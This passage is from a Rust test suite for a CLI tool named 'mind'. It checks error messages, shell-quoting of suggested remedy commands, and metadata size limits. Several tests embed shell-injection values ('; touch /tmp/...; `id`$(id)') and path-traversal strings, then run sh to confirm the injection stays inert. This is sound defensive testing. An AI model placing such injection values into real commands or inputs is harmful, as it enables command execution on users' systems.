msg.contains("github.com/a/one") && msg.contains("github.com/a/two"),
"must list every resolved identity: {msg}"
);
assert!(
!msg.contains("mind hooks run * --event"),
"must never echo the raw glob selector back into a runnable-looking \
remedy command: {msg}"
);
assert!(
!msg.contains(
"mind hooks run github.com/a/one --event install \
--accept-hooks=install"
) && !msg.contains(
"mind hooks run github.com/a/two --event install \
--accept-hooks=install"
),
"must not synthesize a single command for either resolved name either \
(both had work, so neither alone is the whole remedy): {msg}"
);
}
#[test]
fn invalid_repo_spec_names_local_path_forms() {
let e = MindError::InvalidRepoSpec {
spec: "bogus".into(),
};
let msg = e.to_string();
assert!(msg.contains("./rel/path"), "must mention './': {msg}");
assert!(msg.contains("../rel/path"), "must mention '../': {msg}");
assert!(
msg.contains("/abs/path"),
"must mention an absolute path: {msg}"
);
assert!(msg.contains("file://"), "must mention 'file://': {msg}");
}
#[test]
fn lobe_base_missing_displays_path() {
let path = std::path::PathBuf::from("/nonexistent/myproject");
let e = MindError::LobeBaseMissing { path: path.clone() };
let msg = e.to_string();
assert!(
msg.contains("/nonexistent/myproject"),
"must include the path: {msg}"
);
assert!(
msg.contains("does not exist"),
"must say directory does not exist: {msg}"
);
assert_eq!(e.kind(), "lobe-base-missing", "kind slug must be stable");
}
#[test]
fn unsafe_clone_path_names_path_and_identity() {
let e = MindError::UnsafeClonePath {
path: PathBuf::from("/home/user/evil"),
identity: "../../victim".into(),
};
let msg = e.to_string();
assert!(
msg.contains("/home/user/evil"),
"must include the offending path: {msg}"
);
assert!(
msg.contains("../../victim"),
"must include the source identity: {msg}"
);
assert!(
msg.contains("sources tree"),
"must say it resolves outside the sources tree: {msg}"
);
assert_eq!(e.kind(), "unsafe-clone-path", "kind slug must be stable");
}
#[test]
fn ambiguous_hook_target_names_both_disambiguated_forms() {
let e = MindError::AmbiguousHookTarget {
target: "local/base/repo#dev".into(),
item_forms: vec!["local/base/repo#skill:dev".into()],
};
let msg = e.to_string();
assert!(
msg.contains("local/base/repo#dev"),
"must name the ambiguous target: {msg}"
);
assert!(
msg.contains("source:local/base/repo#dev"),
"must name the source-targeting escape: {msg}"
);
assert!(
msg.contains("local/base/repo#skill:dev"),
"must name the kind-qualified item escape: {msg}"
);
assert_eq!(
e.kind(),
"ambiguous-hook-target",
"kind slug must be stable"
);
}
#[test]
fn ambiguous_hook_target_shell_quotes_both_runnable_examples() {
use std::process::Command;
let target = "x'; touch /tmp/mind-hook-105-pwned; echo '`id`$(id)".to_string();
let item_form =
"local/base/x'; touch /tmp/mind-hook-105-item-pwned; echo '#skill:x".to_string();
let e = MindError::AmbiguousHookTarget {
target: target.clone(),
item_forms: vec![item_form.clone()],
};
let msg = e.to_string();
let quoted_source = shell_quote(&format!("source:{target}"));
assert!(
msg.contains(&format!("mind hooks run {quoted_source}")),
"the source-targeting example must be shell-quoted: {msg}"
);
assert!(
!msg.contains(&format!("mind hooks run 'source:{target}'")),
"must never fall back to the broken bare `'source:{{target}}'` \
interpolation: {msg}"
);
let quoted_item = shell_quote(&item_form);
assert!(
msg.contains(&format!("mind hooks run {quoted_item}")),
"the item-targeting example must be shell-quoted: {msg}"
);
assert!(
!msg.contains(&format!("mind hooks run '{item_form}'")),
"must never fall back to the broken bare `'{{item_form}}'` \
interpolation: {msg}"
);
if Command::new("sh").arg("-c").arg("true").status().is_err() {
return;
}
for (sentinel_path, command) in [
(
"/tmp/mind-hook-105-pwned",
format!("mind hooks run {quoted_source}"),
),
(
"/tmp/mind-hook-105-item-pwned",
format!("mind hooks run {quoted_item}"),
),
] {
let sentinel = std::path::Path::new(sentinel_path);
let _ = std::fs::remove_file(sentinel);
let probe = command.replacen("mind hooks run", "printf '%s\\n'", 1);
let out = Command::new("sh")
.arg("-c")
.arg(&probe)
.output()
.expect("sh -c must run");
assert!(
out.status.success(),
"the quoted example must parse as one shell argument: {probe:?}\nstderr: {}",
String::from_utf8_lossy(&out.stderr)
);
assert!(
!sentinel.exists(),
"the injected 'touch' must not have executed via the printed \
example: {probe:?}"
);
let _ = std::fs::remove_file(sentinel);
}
}
#[test]
fn hooks_not_run_message_whole_framed_remedy_is_inert_when_pasted_with_the_frame() {
use std::process::Command;
if Command::new("sh").arg("-c").arg("true").status().is_err() {
return;
}
let sentinel = std::path::Path::new("/tmp/mind-hook-106-whole-frame-pwned");
let _ = std::fs::remove_file(sentinel);
let evil = "$(touch /tmp/mind-hook-106-whole-frame-pwned)`touch /tmp/mind-hook-106-whole-frame-pwned`".to_string();
let msg = hooks_not_run_message("target", "install", 1, std::slice::from_ref(&evil));
let lead_at = msg
.find("re-run unattended with:")
.expect("message has a remedy frame");
let framed_remedy = &msg[lead_at..];
let _ = Command::new("sh").arg("-c").arg(framed_remedy).output();
assert!(
!sentinel.exists(),
"pasting the whole framed remedy (frame included) must not execute \
the embedded command substitution: {framed_remedy:?}"
);
let _ = std::fs::remove_file(sentinel);
}
#[test]
fn self_update_policy_displays_detail() {
let disabled = MindError::SelfUpdatePolicy {
detail: "self-update is disabled by the managed policy".into(),
}
.to_string();
assert!(
disabled.contains("disabled by the managed policy"),
"disabled detail must appear: {disabled}"
);
let mismatch = MindError::SelfUpdatePolicy {
detail: "managed policy pins self-update to 0.14.0; --to 0.15.0 conflicts with the pin"
.into(),
}
.to_string();
assert!(mismatch.contains("0.14.0"), "must name the pin: {mismatch}");
assert!(
mismatch.contains("0.15.0"),
"must name the requested version: {mismatch}"
);
assert!(
mismatch.contains("conflicts"),
"must say 'conflicts': {mismatch}"
);
}
#[test]
fn self_update_invalid_target_is_a_distinct_kind_from_self_update_policy() {
let e = MindError::SelfUpdateInvalidTarget {
value: "1/../../../../attacker/mind/releases/download/v1".to_string(),
};
let msg = e.to_string();
assert!(
msg.contains("attacker"),
"message must name the rejected value: {msg}"
);
assert!(
msg.contains("not a plausible"),
"message must explain the value is implausible: {msg}"
);
assert_eq!(
e.kind(),
"self-update-invalid-target",
"kind must be its own stable slug"
);
assert_ne!(
e.kind(),
MindError::SelfUpdatePolicy { detail: "d".into() }.kind(),
"a malformed target must NOT share SelfUpdatePolicy's kind -- otherwise a bad \
--to argument reads as a managed-policy refusal"
);
}
fn assert_command_inert(command: &str, verb_prefix: &str, sentinel: &str, expected_arg: &str) {
assert!(
command.starts_with(verb_prefix),
"extracted command must start with the verb: {command:?}"
);
if Command::new("sh").arg("-c").arg("true").status().is_err() {
return;
}
let sentinel_path = std::path::Path::new(sentinel);
let _ = std::fs::remove_file(sentinel_path);
let probe = command.replacen(verb_prefix, "printf '%s\\n'", 1);
let out = Command::new("sh")
.arg("-c")
.arg(&probe)
.output()
.expect("sh -c must run");
assert!(
!sentinel_path.exists(),
"the injected command fired via the printed remedy: {probe:?}"
);
let _ = std::fs::remove_file(sentinel_path);
assert!(
out.status.success(),
"the quoted remedy must parse as shell arguments: {probe:?}\nstderr: {}",
String::from_utf8_lossy(&out.stderr)
);
assert!(
String::from_utf8_lossy(&out.stdout).contains(expected_arg),
"the identity must survive as one literal argument: stdout {:?}",
String::from_utf8_lossy(&out.stdout)
);
}
#[test]
fn linked_source_gone_remedy_shell_quotes_the_source_identity() {
let evil = "s'; touch /tmp/mind-lsg-pwned; echo '`id`$(id)";
let e = MindError::LinkedSourceGone {
source_name: evil.to_string(),
path: "/gone".into(),
};
let msg = e.to_string();
let command = format!("mind unmeld {}", shell_quote(evil));
assert!(
msg.contains(&command),
"the unmeld remedy must carry the shell-quoted identity: {msg}"
);
assert!(
!msg.contains(&format!("mind unmeld '{evil}'")),
"must never fall back to the broken single-quote-framed raw name: {msg}"
);
assert_command_inert(&command, "mind unmeld", "/tmp/mind-lsg-pwned", evil);
}
#[test]
fn agent_collision_remedy_shell_quotes_the_forget_argument() {
let evil = "dev'; touch /tmp/mind-agentcol-pwned; echo '`id`";
let e = MindError::AgentCollision {
name: evil.to_string(),
existing: "github.com/a/one".into(),
incoming: "github.com/a/two".into(),
};
let msg = e.to_string();
let command = format!("mind forget {}", shell_quote(&format!("agent:{evil}")));
assert!(
msg.contains(&command),
"the forget remedy must carry the shell-quoted agent ref: {msg}"
);
assert!(
!msg.contains(&format!("mind forget agent:{evil}")),
"must never splice the raw agent name into the runnable command: {msg}"
);
assert_command_inert(
&command,
"mind forget",
"/tmp/mind-agentcol-pwned",
&format!("agent:{evil}"),
);
}
#[test]
fn skill_collision_remedy_shell_quotes_the_suggested_prefix() {
let evil = "fork'; touch /tmp/mind-skillcol-pwned; echo '`id`";
let e = MindError::SkillCollision {
conflicts: vec![(
"skill".into(),
"review".into(),
"github.com/acme/agents".into(),
)],
suggested: evil.to_string(),
};
let msg = e.to_string();
assert!(
msg.contains(&format!(
"mind meld --namespace {} <repo>",
shell_quote(evil)
)),
"the meld remedy must carry the shell-quoted prefix: {msg}"
);
assert!(
!msg.contains(&format!("--namespace {evil}")),
"must never interpolate the raw prefix into the runnable command: {msg}"
);
let command = format!("mind meld --namespace {}", shell_quote(evil));
assert_command_inert(&command, "mind meld", "/tmp/mind-skillcol-pwned", evil);
}
#[test]
fn upgrade_rename_collision_remedy_shell_quotes_the_forget_argument() {
let evil = "skill:x; touch /tmp/mind-renamecol-pwned; echo '`id`$(id)";
let e = MindError::UpgradeRenameCollision {
key: evil.to_string(),
existing_source: "github.com/acme/one".into(),
incoming: "skill:jx:x".into(),
incoming_source: "github.com/acme/two".into(),
};
let msg = e.to_string();
let command = format!("mind forget {}", shell_quote(evil));
assert!(
msg.contains(&command),
"the forget remedy must carry the shell-quoted key: {msg}"
);
assert!(
!msg.contains(&format!("mind forget {evil}")),
"must never splice the raw key into the runnable command: {msg}"
);
assert_command_inert(&command, "mind forget", "/tmp/mind-renamecol-pwned", evil);
}
use std::sync::atomic::{AtomicU32, Ordering};
static CAP_N: AtomicU32 = AtomicU32::new(0);
fn cap_tmp(label: &str) -> PathBuf {
let n = CAP_N.fetch_add(1, Ordering::SeqCst);
std::env::temp_dir().join(format!("mind-metacap-{}-{label}-{n}", std::process::id()))
}
#[test]
fn read_capped_metadata_reads_a_normal_file() {
let path = cap_tmp("ok");
std::fs::write(&path, "hello metadata").unwrap();
let text = read_capped_metadata(&path).expect("small file must read fine");
assert_eq!(text, "hello metadata");
let _ = std::fs::remove_file(&path);
}
#[test]
fn read_capped_metadata_refuses_an_oversized_file_naming_it() {
let path = cap_tmp("big");
let file = std::fs::File::create(&path).unwrap();
file.set_len(METADATA_SIZE_LIMIT + 1).unwrap();
drop(file);
let err = read_capped_metadata(&path).expect_err("oversized file must be refused");
match &err {
MindError::MetadataTooLarge { path: p, limit } => {
assert_eq!(p, &path, "error must name the offending file");
assert_eq!(*limit, METADATA_SIZE_LIMIT, "error must name the limit");
}
other => panic!("expected MetadataTooLarge, got: {other:?}"),
}
let msg = err.to_string();
assert!(
msg.contains(&path.display().to_string()),
"message must name the file: {msg}"
);
assert!(msg.contains("8 MiB"), "message must name the limit: {msg}");
assert!(
msg.contains("trim") || msg.contains("move"),
"message must say what to do: {msg}"
);
assert_eq!(err.kind(), "metadata-too-large", "kind slug must be stable");
let _ = std::fs::remove_file(&path);
}
#[test]
fn read_capped_metadata_a_file_exactly_at_the_limit_is_accepted() {
let path = cap_tmp("exact");
let file = std::fs::File::create(&path).unwrap();
file.set_len(METADATA_SIZE_LIMIT).unwrap();
drop(file);
let text = read_capped_metadata(&path).expect("a file exactly at the cap must be OK");
assert_eq!(text.len() as u64, METADATA_SIZE_LIMIT);
let _ = std::fs::remove_file(&path);
}
#[test]
fn read_capped_metadata_missing_file_is_plain_io_error() {
let path = cap_tmp("missing");
let err = read_capped_metadata(&path).unwrap_err();
assert!(
matches!(err, MindError::Io { .. }),
"missing file must be a plain Io error: {err:?}"
);
}
#[test]
fn a_raised_cap_admits_a_file_the_default_refuses() {
let path = cap_tmp("raised");
let file = std::fs::File::create(&path).unwrap();
file.set_len(METADATA_SIZE_LIMIT + 1).unwrap();
drop(file);
read_capped_metadata_with(&path, METADATA_SIZE_LIMIT)
.expect_err("the default cap must still refuse it");
let text = read_capped_metadata_with(&path, METADATA_SIZE_LIMIT * 2)
.expect("a raised cap must admit it");
assert_eq!(text.len() as u64, METADATA_SIZE_LIMIT + 1);
let _ = std::fs::remove_file(&path);
}
#[test]
fn a_lowered_cap_refuses_a_file_the_default_admits() {
let path = cap_tmp("lowered");
std::fs::write(&path, "0123456789").unwrap();
read_capped_metadata_with(&path, METADATA_SIZE_LIMIT).expect("the default admits 10 bytes");
let err = read_capped_metadata_with(&path, 9).expect_err("a 9-byte cap must refuse it");
match &err {
MindError::MetadataTooLarge { limit, .. } => assert_eq!(*limit, 9),
other => panic!("expected MetadataTooLarge, got: {other:?}"),
}
assert!(
err.to_string().contains("9 bytes"),
"a sub-KiB cap must not render as '0 MiB': {err}"
);
let _ = std::fs::remove_file(&path);
}
#[test]
fn an_unlimited_cap_reads_the_whole_file() {
let path = cap_tmp("unlimited");
std::fs::write(&path, "every byte of it").unwrap();
let text = read_capped_metadata_with(&path, u64::MAX).expect("unlimited must read");
assert_eq!(text, "every byte of it");
let _ = std::fs::remove_file(&path);
}
#[test]
fn the_too_large_message_names_the_flag_that_raises_the_cap() {
let err = MindError::MetadataTooLarge {
path: PathBuf::from("/src/mind.toml"),
limit: METADATA_SIZE_LIMIT,
};
let msg = err.to_string();
assert!(
msg.contains("--max-metadata-size"),
"message must name the flag: {msg}"
);
assert!(msg.contains("8 MiB"), "message must name the cap: {msg}");
}
#[test]
fn parse_metadata_size_accepts_every_documented_form() {
for (raw, want) in [
("16777216", 16_777_216u64),
("512B", 512),
("32MiB", 32 * 1024 * 1024),
("32mib", 32 * 1024 * 1024),
("32M", 32 * 1024 * 1024),
("32 MiB", 32 * 1024 * 1024),
("512KiB", 512 * 1024),
("512K", 512 * 1024),
("2GiB", 2 * 1024 * 1024 * 1024),
("2G", 2 * 1024 * 1024 * 1024),
("16MB", 16_000_000),
("16KB", 16_000),
("1GB", 1_000_000_000),
("unlimited", u64::MAX),
("none", u64::MAX),
("0", u64::MAX),
("00", u64::MAX),
("0B", u64::MAX),
("0KiB", u64::MAX),
("0MiB", u64::MAX),
("0GB", u64::MAX),
("0 mib", u64::MAX),
] {
assert_eq!(
parse_metadata_size(raw),
Ok(want),
"'{raw}' must parse as {want}"
);
}
}
#[test]
fn parse_metadata_size_refuses_what_it_cannot_represent_exactly() {
for raw in ["", " ", "1.5MiB", "MiB", "16PB", "16 tons", "-1", "1e6"] {
assert!(
parse_metadata_size(raw).is_err(),
"'{raw}' must not parse to a size"
);
}
let err = parse_metadata_size("18446744073709551615GiB")
.expect_err("an overflowing size must be refused, not wrapped");
assert!(err.contains("overflow"), "message must say why: {err}");
}
#[test]
fn parse_metadata_size_names_a_fraction_as_a_fraction() {
let err = parse_metadata_size("1.5MiB").expect_err("a fraction must be refused");
assert!(
err.contains("fractional"),
"the message must name the fraction as the problem: {err}"
);
assert!(
!err.contains("is not a known size unit"),
"the message must not blame an invented unit token: {err}"
);
assert!(
err.contains("1536KiB"),
"the message must show the whole-unit equivalent to write: {err}"
);
}
#[test]
fn parse_metadata_size_reads_every_zero_spelling_as_unlimited() {
for raw in ["0", "00", "0b", "0B", "0KiB", "0MiB", "0GB", " 0 mib "] {
assert_eq!(
parse_metadata_size(raw),
Ok(u64::MAX),
"'{raw}' must read as unlimited"
);
}
assert_eq!(parse_metadata_size("1B"), Ok(1));
assert_eq!(parse_metadata_size("10MiB"), Ok(10 * 1024 * 1024));
}
#[test]
fn format_metadata_size_uses_the_largest_exact_unit() {
assert_eq!(format_metadata_size(8 * 1024 * 1024), "8 MiB");
assert_eq!(format_metadata_size(512 * 1024), "512 KiB");
assert_eq!(format_metadata_size(2 * 1024 * 1024 * 1024), "2 GiB");
assert_eq!(format_metadata_size(1500), "1500 bytes");
assert_eq!(format_metadata_size(0), "0 bytes");
assert_eq!(format_metadata_size(u64::MAX), "unlimited");
}
#[test]
fn the_unresolved_limit_is_the_documented_default() {
assert_eq!(metadata_size_limit(), METADATA_SIZE_LIMIT);
}
}